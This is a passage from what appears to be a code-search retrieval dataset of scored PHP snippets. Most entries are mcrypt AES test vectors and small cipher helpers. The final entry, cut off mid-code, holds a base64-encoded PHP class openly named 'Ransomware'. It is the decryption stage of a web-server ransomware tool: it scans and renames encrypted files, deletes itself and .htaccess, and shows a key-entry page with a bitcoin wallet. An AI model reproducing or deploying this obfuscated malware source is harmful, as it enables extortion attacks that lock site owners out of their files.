\"c65b94b1f291fa9f0600f22c3c0432c895ad5d177bcccc9ea44e8ec339c9adf43855b326179d6d81aa36ef59462fd86127e9d81b0f286f93306bf74d4c79e47c1b3d4b74edd3a16290e3c63b742e41f20d66ceee794316bb63d3bd002712a1b136ba6185bd5c1dab81b07db90d2af5e5\"),\n\t\t\t\t// txt_plain\n\t\t\t\tpack(\"H*\", \"c5585ff215bbb73ba5393440852fb199436de0d15e55c631f877670aa3eda9f672eb1f876f09544e63558436b8928000db2f02a5ad90f95b05ac4cf49e198e617e7678480fdf0efacc6aae691271e6cdd3541ebf719a1ccaedb24e2f80f92455dd5910cb5086b0960a3942ec182dcbd7\"),\n\t\t\t],\n\t\t\t[\n\t\t\t\t// mode\n\t\t\t\tMCRYPT_MODE_CBC,\n\t\t\t\t// cypher\n\t\t\t\tMCRYPT_RIJNDAEL_128,\n\t\t\t\t// key\n\t\t\t\tpack(\"H*\", \"9c702898efa44557b29ed283f5bc0293\"),\n\t\t\t\t// IV\n\t\t\t\tpack(\"H*\", \"cec6e1b82e8b2a591a9fa5ff1cf5cc51\"),\n\t\t\t\t// txt_encoded\n\t\t\t\tpack(\"H*\", \"ba9f646755dacc22911f51d7de2f7e7cb0bc0b75257ea44fe883edb055c7c28ede04c3a0adcb10128ad4517d0093fa16bb0bcd2635e7a0ba92c7609bc8d8568002a7a983473724d256513aa7d51b477aabec1975ab5faf2872a6407e922180eff02f1ef86a4591c8bd3d143da6f0ef0e4806f94ace0d5b0151c99640fccbc843\"),\n\t\t\t\t// txt_plain\n\t\t\t\tpack(\"H*\", \"1d1f8d81bdc3e2c7cb057f408e6450000c5aaed3260ff1e87fbb6f324df6887ffd8f78d7e2a04c9ed9deda9d64482d2b002f4a2b78d8b4f691875c8295d4a64b22257ceaf713ed2f4b92530d7ad7151d629acda882b4829577a43990b0948c1149c22fe4273656d1b08833930e8b06709a94579a78fc220f7057bbc1fa9f6563\"),\n\t\t\t],\n\t\t\t[\n\t\t\t\t// mode\n\t\t\t\tMCRYPT_MODE_CBC,\n\t\t\t\t// cypher\n\t\t\t\tMCRYPT_RIJNDAEL_128,\n\t\t\t\t// key\n\t\t\t\tpack(\"H*\", \"5674636dbdb38f705f0b08c372ef4785\"),\n\t\t\t\t// IV\n\t\t\t\tpack(\"H*\", \"3f20ce0509b57420d53b6be4d0b7f0a9\"),\n\t\t\t\t// txt_encoded\n\t\t\t\tpack(\"H*\", \"198351f453103face6655666fe90bdbd9630e3733b2d66c013a634e91f2bf015bd2d975d71b26322e44defa32d4e9dce50363557046ece08ba38f258dae5fd3e5049c647476c81e73482e40c171d89f9fea29452caf995733589b0061464fbd5dabe27dc5ea463a3deeb7dcb43664ae6a65c498c143883ab8e83b51e5410b181647602443dc3cfffe86f0205398fa83c\"),\n\t\t\t\t// txt_plain\n\t\t\t\tpack(\"H*\", \"6d40fd2f908f48ce19241b6b278b1b1676dffd4a97ce9f8a1574c33bc59237deb536bee376fd6c381e6987700e39283aa111cf1a59f26fae6fb6700bf012646a2ab80239bf5e1632329043aa87d7911978b36523a2bc0bed9a9737ccf7a00baa2f3822b4e9e742e168e7069290705fed2eb63aa044b78f97dd33a8d6b24741ec1fd8c8db79d93b884e762dba0f406961\"),\n\t\t\t],\n\t\t\t[\n\t\t\t\t// mode\n\t\t\t\tMCRYPT_MODE_CBC,\n\t\t\t\t// cypher\n\t\t\t\tMCRYPT_RIJNDAEL_128,\n\t\t\t\t// key\n\t\t\t\tpack(\"H*\", \"97a1025529b9925e25bbe78770ca2f99\"),\n\t\t\t\t// IV\n\t\t\t\tpack(\"H*\", \"d4b4eab92aa9637e87d366384ed6915c\"),\n\t\t\t\t// txt_encoded\n\t\t\t\tpack(\"H*\", \"22cdc3306fcd4d31ccd32720cbb61bad28d855670657c48c7b88c31f4fa1f93c01b57da90be63ead67d6a325525e6ed45083e6fb70a53529d1fa0f55653b942af59d78a2660361d63a7290155ac5c43312a25b235dacbbc863faf00940c99624076dfa44068e7c554c9038176953e571751dfc0954d41d113771b06466b1c8d13e0d4cb675ed58d1a619e1540970983781dc11d2dd8525ab5745958d615defda\"),\n\t\t\t\t// txt_plain\n\t\t\t\tpack(\"H*\", \"e8b89150d8438bf5b17449d6ed26bd72127e10e4aa57cad85283e8359e089208e84921649f5b60ea21f7867cbc9620560c4c6238db021216db453c9943f1f1a60546173daef2557c3cdd855031b353d4bf176f28439e48785c37d38f270aa4a6faad2baabcb0c0b2d1dd5322937498ce803ba1148440a52e227ddba4872fe4d81d2d76a939d24755adb8a7b8452ceed2d179e1a5848f316f5c016300a390bfa7\"),\n\t\t\t],\n\t\t];\n\t}", "title": "" }, { "docid": "69caccdd5206949379baa206c84f573f", "score": "0.5355416", "text": "function mcrypt_enc_self_test () {}", "title": "" }, { "docid": "08e297335feddd11992e0621ac462998", "score": "0.5335496", "text": "public function layeredDecryptData($cipherData, $oneTimePad = '');", "title": "" }, { "docid": "b715f77cb24fc144cc45c47e22929cf3", "score": "0.5307957", "text": "function changedataout($cipher_data,$key){\n\n $m=0;\n $all_bin_chars=\"\";\n\n for($i=0;$i<strlen($cipher_data);$i++){\n\t$c=substr($cipher_data,$i,1); // c = ciphertext\n\t$decimal_value=base64todec($c); //convert to decimal value\n\n\t$decimal_value=($decimal_value - $m) / 4; //substract by m where m=0,1,2,or 3 then divide by 4\n\n\t$four_bit=decbin($decimal_value);\n\n\twhile(strlen($four_bit)<4){\n\t\t$four_bit=\"0\".$four_bit;\n\t}\n\n\t$all_bin_chars=$all_bin_chars.$four_bit;\n\t$m++;\n\n\tif($m>3){\n\t\t$m=0;\n\t}\n }\n\n $key_length=0;\n $plain_data=\"\";\n\n for($j=0;$j<strlen($all_bin_chars);$j=$j+8){\n\t$c=substr($all_bin_chars,$j,8);\n\t$k=substr($key,$key_length,1);\n\n\t$dec_chars=bindec($c);\n\t$dec_chars=$dec_chars - strlen($key);\n\t$c=chr($dec_chars);\n\t$key_length++;\n\n\tif($key_length>=strlen($key)){\n\t\t$key_length=0;\n\t}\n\n\t$dec_chars=ord($c)^ord($k);\n\t$p=chr($dec_chars);\n\t$plain_data=$plain_data.$p;\n }\n\n return $plain_data;\n}", "title": "" }, { "docid": "b031719f6c47bb4ebb947e040d53b24d", "score": "0.52927816", "text": "private function createDecryptionFile($directory) {\n $data = base64_decode('PD9waHANCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQpAc2V0X3RpbW' . 'VfbGltaXQoMCk7DQpjbGFzcyBSYW5zb213YXJlIHsNCiAgICBw' . 'cml2YXRlICRyb290ID0gJzxyb290Pic7DQogICAgcHJpdmF0ZS' . 'Akc2FsdCA9ICcnOw0KICAgIHByaXZhdGUgJGNyeXB0b0tleSA9' . 'ICcnOw0KICAgIHByaXZhdGUgJGNyeXB0b0tleUxlbmd0aCA9IC' . 'c8Y3J5cHRvS2V5TGVuZ3RoPic7DQogICAgcHJpdmF0ZSAkaXRl' . 'cmF0aW9ucyA9ICc8aXRlcmF0aW9ucz4nOw0KICAgIHByaXZhdG' . 'UgJGFsZ29yaXRobSA9ICc8YWxnb3JpdGhtPic7DQogICAgcHJp' . 'dmF0ZSAkaXYgPSAnJzsNCiAgICBwcml2YXRlICRjaXBoZXIgPS' . 'AnPGNpcGhlcj4nOw0KICAgIHByaXZhdGUgJGV4dGVuc2lvbiA9' . 'ICc8ZXh0ZW5zaW9uPic7DQogICAgcHVibGljIGZ1bmN0aW9uIF' . '9fY29uc3RydWN0KCRrZXkpIHsNCiAgICAgICAgJHRoaXMtPnNh' . 'bHQgPSBiYXNlNjRfZGVjb2RlKCc8c2FsdD4nKTsNCiAgICAgIC' . 'AgJHRoaXMtPmNyeXB0b0tleSA9IEBvcGVuc3NsX3Bia2RmMigk' . 'a2V5LCAkdGhpcy0+c2FsdCwgJHRoaXMtPmNyeXB0b0tleUxlbm' . 'd0aCwgJHRoaXMtPml0ZXJhdGlvbnMsICR0aGlzLT5hbGdvcml0' . 'aG0pOw0KICAgICAgICAkdGhpcy0+aXYgPSBiYXNlNjRfZGVjb2' . 'RlKCc8aXY+Jyk7DQogICAgfQ0KICAgIHByaXZhdGUgZnVuY3Rp' . 'b24gZGVsZXRlRGVjcnlwdGlvbkZpbGUoJGRpcmVjdG9yeSkgew' . '0KICAgICAgICB1bmxpbmsoJGRpcmVjdG9yeSAuICcvLmh0YWNj' . 'ZXNzJyk7DQogICAgICAgIHVubGluaygkX1NFUlZFUlsnU0NSSV' . 'BUX0ZJTEVOQU1FJ10pOw0KICAgIH0NCiAgICBwcml2YXRlIGZ1' . 'bmN0aW9uIGRlY3J5cHROYW1lKCRwYXRoKSB7DQogICAgICAgIC' . 'RkZWNyeXB0ZWROYW1lID0gQG9wZW5zc2xfZGVjcnlwdCh1cmxk' . 'ZWNvZGUocGF0aGluZm8oJHBhdGgsIFBBVEhJTkZPX0ZJTEVOQU' . '1FKSksICR0aGlzLT5jaXBoZXIsICR0aGlzLT5jcnlwdG9LZXks' . 'IDAsICR0aGlzLT5pdik7DQogICAgICAgICRkZWNyeXB0ZWROYW' . '1lID0gJGRlY3J5cHRlZE5hbWUgPyBzdWJzdHIoJHBhdGgsIDAs' . 'IHN0cnJpcG9zKCRwYXRoLCAnLycpICsgMSkgLiAkZGVjcnlwdG' . 'VkTmFtZSA6IGZhbHNlOw0KICAgICAgICByZXR1cm4gJGRlY3J5' . 'cHRlZE5hbWU7DQogICAgfQ0KICAgIHByaXZhdGUgZnVuY3Rpb2' . '4gZGVjcnlwdERpcmVjdG9yeSgkZW5jcnlwdGVkRGlyZWN0b3J5' . 'KSB7DQogICAgICAgIGlmIChwYXRoaW5mbygkZW5jcnlwdGVkRG' . 'lyZWN0b3J5LCBQQVRISU5GT19FWFRFTlNJT04pID09PSAkdGhp' . 'cy0+ZXh0ZW5zaW9uKSB7DQogICAgICAgICAgICAkZGlyZWN0b3' . 'J5ID0gJHRoaXMtPmRlY3J5cHROYW1lKCRlbmNyeXB0ZWREaXJl' . 'Y3RvcnkpOw0KICAgICAgICAgICAgaWYgKCRkaXJlY3RvcnkgIT' . '09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgcmVuYW1lKCRl' . 'bmNyeXB0ZWREaXJlY3RvcnksICRkaXJlY3RvcnkpOw0KICAgIC' . 'AgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIHByaXZh' . 'dGUgZnVuY3Rpb24gZGVjcnlwdEZpbGUoJGVuY3J5cHRlZEZpbG' . 'UpIHsNCiAgICAgICAgaWYgKHBhdGhpbmZvKCRlbmNyeXB0ZWRG' . 'aWxlLCBQQVRISU5GT19FWFRFTlNJT04pID09PSAkdGhpcy0+ZX' . 'h0ZW5zaW9uKSB7DQogICAgICAgICAgICAkZGF0YSA9IEBvcGVu' . 'c3NsX2RlY3J5cHQoZmlsZV9nZXRfY29udGVudHMoJGVuY3J5cH' . 'RlZEZpbGUpLCAkdGhpcy0+Y2lwaGVyLCAkdGhpcy0+Y3J5cHRv' . 'S2V5LCAwLCAkdGhpcy0+aXYpOw0KICAgICAgICAgICAgaWYgKC' . 'RkYXRhICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgICRm' . 'aWxlID0gJHRoaXMtPmRlY3J5cHROYW1lKCRlbmNyeXB0ZWRGaW' . 'xlKTsNCiAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT09IGZh' . 'bHNlICYmIHJlbmFtZSgkZW5jcnlwdGVkRmlsZSwgJGZpbGUpKS' . 'B7DQogICAgICAgICAgICAgICAgICAgIGlmICghZmlsZV9wdXRf' . 'Y29udGVudHMoJGZpbGUsICRkYXRhLCBMT0NLX0VYKSkgew0KIC' . 'AgICAgICAgICAgICAgICAgICAgICAgcmVuYW1lKCRmaWxlLCAk' . 'ZW5jcnlwdGVkRmlsZSk7DQogICAgICAgICAgICAgICAgICAgIH' . '0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQog' . 'ICAgICAgIH0NCiAgICB9DQogICAgcHJpdmF0ZSBmdW5jdGlvbi' . 'BzY2FuKCRkaXJlY3RvcnkpIHsNCiAgICAgICAgJGZpbGVzID0g' . 'QGFycmF5X2RpZmYoc2NhbmRpcigkZGlyZWN0b3J5KSwgYXJyYX' . 'koJy4nLCAnLi4nKSk7DQogICAgICAgIGlmICgkZmlsZXMgIT09' . 'IGZhbHNlKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkZmlsZX' . 'MgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgICAgICBpZiAoaXNf' . 'ZGlyKCRkaXJlY3RvcnkgLiAnLycgLiAkZmlsZSkpIHsNCiAgIC' . 'AgICAgICAgICAgICAgICAgJHRoaXMtPnNjYW4oJGRpcmVjdG9y' . 'eSAuICcvJyAuICRmaWxlKTsNCiAgICAgICAgICAgICAgICAgIC' . 'AgJHRoaXMtPmRlY3J5cHREaXJlY3RvcnkoJGRpcmVjdG9yeSAu' . 'ICcvJyAuICRmaWxlKTsNCiAgICAgICAgICAgICAgICB9IGVsc2' . 'Ugew0KICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ZGVjcnlw' . 'dEZpbGUoJGRpcmVjdG9yeSAuICcvJyAuICRmaWxlKTsNCiAgIC' . 'AgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAg' . 'IH0NCiAgICB9DQogICAgcHVibGljIGZ1bmN0aW9uIHJ1bigpIH' . 'sNCiAgICAgICAgLy8gJHRoaXMtPmRlbGV0ZURlY3J5cHRpb25G' . 'aWxlKCR0aGlzLT5yb290KTsNCiAgICAgICAgaWYgKCR0aGlzLT' . '5jcnlwdG9LZXkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAk' . 'dGhpcy0+c2NhbigkdGhpcy0+cm9vdCk7DQogICAgICAgIH0NCi' . 'AgICB9DQp9DQokZXJyb3JNZXNzYWdlID0gJyc7DQppZiAoaXNz' . 'ZXQoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10pICYmIHN0cn' . 'RvbG93ZXIoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10pID09' . 'PSAncG9zdCcpIHsNCiAgICBpZiAoaXNzZXQoJF9QT1NUWydrZX' . 'knXSkpIHsNCiAgICAgICAgbWJfaW50ZXJuYWxfZW5jb2Rpbmco' . 'J1VURi04Jyk7DQogICAgICAgIGlmIChtYl9zdHJsZW4oJF9QT1' . 'NUWydrZXknXSkgPCAxKSB7DQogICAgICAgICAgICAkZXJyb3JN' . 'ZXNzYWdlID0gJ1BsZWFzZSBlbnRlciBkZWNyeXB0aW9uIGtleS' . 'c7DQogICAgICAgIH0gZWxzZSBpZiAoIWV4dGVuc2lvbl9sb2Fk' . 'ZWQoJ29wZW5zc2wnKSkgew0KICAgICAgICAgICAgJGVycm9yTW' . 'Vzc2FnZSA9ICdPcGVuU1NMIG5vdCBlbmFibGVkJzsNCiAgICAg' . 'ICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRyYW5zb213YXJlID' . '0gbmV3IFJhbnNvbXdhcmUoJF9QT1NUWydrZXknXSk7DQogICAg' . 'ICAgICAgICAkcmFuc29td2FyZS0+cnVuKCk7DQogICAgICAgIC' . 'AgICB1bnNldCgkX1BPU1RbJ2tleSddLCAkcmFuc29td2FyZSk7' . 'DQogICAgICAgICAgICBAZ2NfY29sbGVjdF9jeWNsZXMoKTsNCi' . 'AgICAgICAgICAgIGhlYWRlcignTG9jYXRpb246IC8nKTsNCiAg' . 'ICAgICAgICAgIGV4aXQoKTsNCiAgICAgICAgfQ0KICAgIH0NCn' . '0NCj8+DQo8IURPQ1RZUEUgaHRtbD4NCjxodG1sIGxhbmc9ImVu' . 'Ij4NCgk8aGVhZD4NCgkJPG1ldGEgY2hhcnNldD0iVVRGLTgiPg' . '0KCQk8dGl0bGU+UmFuc29td2FyZTwvdGl0bGU+DQoJCTxtZXRh' . 'IG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJSYW5zb213YX' . 'JlIHdyaXR0ZW4gaW4gUEhQLiI+DQoJCTxtZXRhIG5hbWU9Imtl' . 'eXdvcmRzIiBjb250ZW50PSJIVE1MLCBDU1MsIFBIUCwgcmFuc2' . '9td2FyZSI+DQoJCTxtZXRhIG5hbWU9ImF1dGhvciIgY29udGVu' . 'dD0iSXZhbiDFoGluY2VrIj4NCgkJPG1ldGEgbmFtZT0idmlld3' . 'BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5p' . 'dGlhbC1zY2FsZT0xLjAiPg0KCQk8c3R5bGU+DQoJCQlodG1sIH' . 'sNCgkJCQloZWlnaHQ6IDEwMCU7DQoJCQl9DQoJCQlib2R5IHsN' . 'CgkJCQliYWNrZ3JvdW5kLWNvbG9yOiAjMjYyNjI2Ow0KCQkJCW' . 'Rpc3BsYXk6IGZsZXg7DQoJCQkJZmxleC1kaXJlY3Rpb246IGNv' . 'bHVtbjsNCgkJCQltYXJnaW46IDA7DQoJCQkJaGVpZ2h0OiBpbm' . 'hlcml0Ow0KCQkJCWNvbG9yOiAjRjhGOEY4Ow0KCQkJCWZvbnQt' . 'ZmFtaWx5OiBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmOw' . '0KCQkJCWZvbnQtc2l6ZTogMWVtOw0KCQkJCWZvbnQtd2VpZ2h0' . 'OiA0MDA7DQoJCQkJdGV4dC1hbGlnbjogbGVmdDsNCgkJCX0NCg' . 'kJCS5mcm9udC1mb3JtIHsNCgkJCQlkaXNwbGF5OiBmbGV4Ow0K' . 'CQkJCWZsZXgtZGlyZWN0aW9uOiBjb2x1bW47DQoJCQkJYWxpZ2' . '4taXRlbXM6IGNlbnRlcjsNCgkJCQlqdXN0aWZ5LWNvbnRlbnQ6' . 'IGNlbnRlcjsNCgkJCQlmbGV4OiAxIDAgYXV0bzsNCgkJCQlwYW' . 'RkaW5nOiAwLjVlbTsNCgkJCX0NCgkJCS5mcm9udC1mb3JtIC5s' . 'YXlvdXQgew0KCQkJCWJhY2tncm91bmQtY29sb3I6ICNEQ0RDRE' . 'M7DQoJCQkJcGFkZGluZzogMS41ZW07DQoJCQkJd2lkdGg6IDIx' . 'ZW07DQoJCQkJY29sb3I6ICMwMDA7DQoJCQkJYm9yZGVyOiAwLj' . 'A3ZW0gc29saWQgIzAwMDsNCgkJCX0NCgkJCS5mcm9udC1mb3Jt' . 'IC5sYXlvdXQgaGVhZGVyIHsNCgkJCQl0ZXh0LWFsaWduOiBjZW' . '50ZXI7DQoJCQl9DQoJCQkuZnJvbnQtZm9ybSAubGF5b3V0IGhl' . 'YWRlciAudGl0bGUgew0KCQkJCW1hcmdpbjogMDsNCgkJCQlmb2' . '50LXNpemU6IDIuNmVtOw0KCQkJCWZvbnQtd2VpZ2h0OiA0MDA7' . 'DQoJCQl9DQoJCQkuZnJvbnQtZm9ybSAubGF5b3V0IC5hYm91dC' . 'B7DQoJCQkJdGV4dC1hbGlnbjogY2VudGVyOw0KCQkJfQ0KCQkJ' . 'LmZyb250LWZvcm0gLmxheW91dCAuYWJvdXQgcCB7DQoJCQkJbW' . 'FyZ2luOiAxZW0gMDsNCgkJCQljb2xvcjogIzJGNEY0RjsNCgkJ' . 'CQlmb250LXdlaWdodDogNjAwOw0KCQkJCXdvcmQtd3JhcDogYn' . 'JlYWstd29yZDsNCgkJCX0NCgkJCS5mcm9udC1mb3JtIC5sYXlv' . 'dXQgLmFib3V0IGltZyB7DQoJCQkJYm9yZGVyOiAwLjA3ZW0gc2' . '9saWQgIzAwMDsNCgkJCX0NCgkJCS5mcm9udC1mb3JtIC5sYXlv' . 'dXQgZm9ybSB7DQoJCQkJZGlzcGxheTogZmxleDsNCgkJCQlmbG' . 'V4LWRpcmVjdGlvbjogY29sdW1uOw0KCQkJCW1hcmdpbi10b3A6' . 'IDFlbTsNCgkJCX0NCgkJCS5mcm9udC1mb3JtIC5sYXlvdXQgZm' . '9ybSBpbnB1dCB7DQoJCQkJLXdlYmtpdC1hcHBlYXJhbmNlOiBu' . 'b25lOw0KCQkJCS1tb3otYXBwZWFyYW5jZTogbm9uZTsNCgkJCQ' . 'lhcHBlYXJhbmNlOiBub25lOw0KCQkJCW1hcmdpbjogMDsNCgkJ' . 'CQlwYWRkaW5nOiAwLjJlbSAwLjRlbTsNCgkJCQlmb250LWZhbW' . 'lseTogQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsNCgkJ' . 'CQlmb250LXNpemU6IDFlbTsNCgkJCQlib3JkZXI6IDAuMDdlbS' . 'Bzb2xpZCAjOUQyQTAwOw0KCQkJCS13ZWJraXQtYm9yZGVyLXJh' . 'ZGl1czogMDsNCgkJCQktbW96LWJvcmRlci1yYWRpdXM6IDA7DQ' . 'oJCQkJYm9yZGVyLXJhZGl1czogMDsNCgkJCX0NCgkJCS5mcm9u' . 'dC1mb3JtIC5sYXlvdXQgZm9ybSBpbnB1dFt0eXBlPSJzdWJtaX' . 'QiXSB7DQoJCQkJYmFja2dyb3VuZC1jb2xvcjogI0ZGNDUwMDsN' . 'CgkJCQljb2xvcjogI0Y4RjhGODsNCgkJCQljdXJzb3I6IHBvaW' . '50ZXI7DQoJCQkJdHJhbnNpdGlvbjogYmFja2dyb3VuZC1jb2xv' . 'ciAyMjBtcyBsaW5lYXI7DQoJCQl9DQoJCQkuZnJvbnQtZm9ybS' . 'AubGF5b3V0IGZvcm0gaW5wdXRbdHlwZT0ic3VibWl0Il06aG92' . 'ZXIgew0KCQkJCWJhY2tncm91bmQtY29sb3I6ICNEODNBMDA7DQ' . 'oJCQkJdHJhbnNpdGlvbjogYmFja2dyb3VuZC1jb2xvciAyMjBt' . 'cyBsaW5lYXI7DQoJCQl9DQoJCQkuZnJvbnQtZm9ybSAubGF5b3' . 'V0IGZvcm0gLmVycm9yIHsNCgkJCQltYXJnaW46IDAgMCAxZW0g' . 'MDsNCgkJCQljb2xvcjogIzlEMkEwMDsNCgkJCQlmb250LXNpem' . 'U6IDAuOGVtOw0KCQkJfQ0KCQkJLmZyb250LWZvcm0gLmxheW91' . 'dCBmb3JtIC5lcnJvcjpub3QoOmVtcHR5KSB7DQoJCQkJbWFyZ2' . 'luOiAwLjJlbSAwIDFlbSAwOw0KCQkJfQ0KCQkJLmZyb250LWZv' . 'cm0gLmxheW91dCBmb3JtIGxhYmVsIHsNCgkJCQltYXJnaW4tYm' . '90dG9tOiAwLjJlbTsNCgkJCQloZWlnaHQ6IDEuMmVtOw0KCQkJ' . 'fQ0KCQkJQG1lZGlhIHNjcmVlbiBhbmQgKG1heC13aWR0aDogND' . 'gwcHgpIHsNCgkJCQkuZnJvbnQtZm9ybSAubGF5b3V0IHsNCgkJ' . 'CQkJd2lkdGg6IDE1LjVlbTsNCgkJCQl9DQoJCQl9DQoJCQlAbW' . 'VkaWEgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiAzMjBweCkgew0K' . 'CQkJCS5mcm9udC1mb3JtIC5sYXlvdXQgew0KCQkJCQl3aWR0aD' . 'ogMTQuNWVtOw0KCQkJCX0NCgkJCQkuZnJvbnQtZm9ybSAubGF5' . 'b3V0IGhlYWRlciAudGl0bGUgew0KCQkJCQlmb250LXNpemU6ID' . 'IuNGVtOw0KCQkJCX0NCgkJCQkuZnJvbnQtZm9ybSAubGF5b3V0' . 'IC5hYm91dCBwIHsNCgkJCQkJZm9udC1zaXplOiAwLjllbTsNCg' . 'kJCQl9DQoJCQl9DQoJCTwvc3R5bGU+DQoJPC9oZWFkPg0KCTxi' . 'b2R5Pg0KCQk8ZGl2IGNsYXNzPSJmcm9udC1mb3JtIj4NCgkJCT' . 'xkaXYgY2xhc3M9ImxheW91dCI+DQoJCQkJPGhlYWRlcj4NCgkJ' . 'CQkJPGgxIGNsYXNzPSJ0aXRsZSI+UmFuc29td2FyZTwvaDE+DQ' . 'oJCQkJPC9oZWFkZXI+DQoJCQkJPGRpdiBjbGFzcz0iYWJvdXQi' . 'Pg0KCQkJCQk8cD5NYWRlIGJ5IEl2YW4gxaBpbmNlay48L3A+DQ' . 'oJCQkJCTxwPkkgaG9wZSB5b3UgbGlrZSBpdCE8L3A+DQoJCQkJ' . 'CTxwPkZlZWwgZnJlZSB0byBkb25hdGUgYml0Y29pbi48L3A+DQ' . 'oJCQkJCTxpbWcgc3JjPSJkYXRhOmltYWdlL2dpZjtiYXNlNjQs' . 'aVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUpZQUFBQ1dDQUlBQU' . 'FDelkrYTFBQUFBQm1KTFIwUUEvd0QvQVArZ3ZhZVRBQUFEWWts' . 'RVFWUjRuTzJkeTI3ak1Bd0FuVVgvLzVmVHd4WTVDSTRnaGFUa2' . 'NXWXVDMno4YWdkRVdJbWtIOC9uOHhBeS8zWS9nRVQ1K2YvUDQv' . 'RlljNytwb0crZXFqbDMyYWQ5SXVkR2VOM1hLTVNqUWp3cXhLTk' . 'NQRCtuLzV2NGwwYi82NzJmVnZTcHk0d2lOMG84dCtIZFF4cUZl' . 'RlNJUjRWNFZJam5QSjFwaUt4V1JBN3VmOXJQVUNLUDBWdzVNZG' . '1wK0UwYWhYaFVpRWVGZUZTSVp5aWRxU1B4NjMwcTZZaGtLTXUy' . 'a3dZeEN2R29FSThLOGFnUXorWjBacXFrcFg5dUE2TCtKUVdqRU' . 'k4SzhhZ1Fqd3J4REtVemRVWDdVNG5EMUpKS1lvYVMrT05YL0Nh' . 'TlFqd3F4S05DUENyRWM1N083RnFlU093L1N1eGRtcnB5LytBS2' . 'pFSThLc1NqUWp3cXhQTzQxTGlFdWxLYXlLN1d4VEVLOGFnUWp3' . 'cnhxQkJQL3R5WnVsMmV4T1dZWFdOb0VqOTlZUlRpVVNFZUZlSl' . 'JJWjZoMVpsbG5jcTdCdVZGK3A3cUp0b01ubXNVNGxFaEhoWGlV' . 'U0dlVDBxQnAxWko2bGhXU2pQVllKVllXZVBjbVc5QmhYaFVpRW' . 'VGZUlZMm14SW40eTJyanBtNmIrSVl2Y1FSd200MmZRc3F4S05D' . 'UENyRTg1Zk8xRFgrSko2YnVLdTFhODhyY3FOM0dJVjRWSWhIaF' . 'hoVWlPZXZkbVpCaWNmSXdWUDMzZlVZZFMzZ245M1hLTVNqUWp3' . 'cXhLTkNQT2ZwekxJdjhHWEQ3cTdadDIzdGpCeUhDbStBQ3ZHb0' . 'VFLzVHTDI2dXB2SW1sSGREbEhpd1lNWWhYaFVpRWVGZUZTSVo2' . 'aDJKckphVWJjSDFMOVJaS09xTHF1cXFKTTJDdkdvRUk4SzhhZ1' . 'F6M2xuRTJJUGFOZnN1d2dWVnpZSzhhZ1Fqd3J4cUJCUFF1MU1l' . 'OFdDL1pRNGRUOWc0dEtWbTAxZmlncnhxQkNQQ3ZFTWpkRnJtUG' . '9TdnNnNDNzUlA2M0s5cVlQZGJMb1BLc1NqUWp3cXhKTS9GYmho' . 'V2RQUXNyMm5xY2RJdkpGajlHNkxDdkdvRUk4SzhXeCtvM1pkLz' . 'NUaS90R3k0WDVUdURwekgxU0lSNFY0Vklnbi80M2FmUks3cXhP' . 'dnZLdkJ5cW5BY2h3cXZBRXF4S05DUE9lYlRYVzlQUDBiSmM0TT' . 'NqWHJyKzZkVGU4T05ncnhxQkNQQ3ZHb0VNOVE3Y3l5TnhNazF0' . 'RTIxRFVyN1hxLzFRdWpFSThLOGFnUWp3cnhmTkxaVkVla3BhZ2' . 'hjVWxsMlZ2QVA4dHVqRUk4S3NTalFqd3F4SE90ZEtZaGt0MHMy' . 'eEpxcUt0Q3NyUHB0cWdRandyeHFCRFBKNDNheTZpcjdvMFU3UF' . 'paM3lCdUZPSlJJUjRWNGxFaG52SlhVQzVqMTdDWS9xVVdMQ0Va' . 'aFhoVWlFZUZlRlNJWi9QY0dZbGpGT0pSSVo1ZmVndFRVQVhwVm' . 'hVQUFBQUFTVVZPUks1Q1lJST0iIGFsdD0iQml0Y29pbiBXYWxs' . 'ZXQiPg0KCQkJCQk8cD4xQnJaTTZUN0c5Uk44dmJhYm5mWHU0TT' . 'ZMcGd6dHE2WTE0PC9wPg0KCQkJCTwvZGl2Pg0KCQkJCTxmb3Jt' . 'IG1ldGhvZD0icG9zdCIgYWN0aW9uPSI8P3BocCBlY2hvICcuLy' . 'cgLiBwYXRoaW5mbygkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1F' . 'J10sIFBBVEhJTkZPX0JBU0VOQU1FKTsgPz4iPg0KCQkJCQk8bG' . 'FiZWwgZm9yPSJrZXkiPkRlY3J5cHRpb24gS2V5PC9sYWJlbD4N' . 'CgkJCQkJPGlucHV0IG5hbWU9ImtleSIgaWQ9ImtleSIgdHlwZT' . '0idGV4dCIgc3BlbGxjaGVjaz0iZmFsc2UiIGF1dG9mb2N1cz0i' . 'YXV0b2ZvY3VzIj4NCgkJCQkJPHAgY2xhc3M9ImVycm9yIj48P3' . 'BocCBlY2hvICRlcnJvck1lc3NhZ2U7ID8+PC9wPg0KCQkJCQk8' . 'aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRGVjcnlwdCI+DQ' . 'oJCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIHZhbHVlPSI8cmVj' . 'b3Zlcnk+IiBwbGFjZWhvbGRlcj0iYjY0LXJlY292ZXJ5Ij4NCg' . 'kJCQk8L2Zvcm0+DQoJCQk8L2Rpdj4NCgkJPC9kaXY+DQoJPC9i' . 'b2R5Pg0KPC9odG1sPg0K');\n $data = str_replace(\n array(\n '<root>',\n '<salt>',\n '<recovery>',\n '<cryptoKeyLength>',\n '<iterations>',\n '<algorithm>',\n '<iv>',\n '<cipher>',\n '<extension>'\n ),\n array(\n 